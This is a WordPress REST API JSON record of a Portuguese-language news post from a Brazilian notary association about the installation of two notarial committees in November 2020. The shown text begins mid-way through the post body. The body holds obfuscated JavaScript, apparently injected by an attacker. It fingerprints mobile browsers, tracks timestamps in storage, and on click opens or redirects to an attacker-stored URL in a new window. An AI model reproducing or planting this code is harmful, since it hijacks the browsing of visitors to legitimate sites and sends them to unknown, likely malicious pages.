_0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0Na manh\u00e3 do dia 17 de novembro de 2020, a partir das 11h.30min., ocorreu a instala\u00e7\u00e3o simult\u00e2nea de dois colegiados da Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registro, criada pela Portaria CN-CNJ 53\/2020, nomeando os integrantes &hellip;<\/p>\n","protected":false},"author":3,"featured_media":19172,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-19171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/19171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=19171"}],"version-history":[{"count":1,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/19171\/revisions"}],"predecessor-version":[{"id":19173,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/19171\/revisions\/19173"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/19172"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=19171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=19171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=19171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}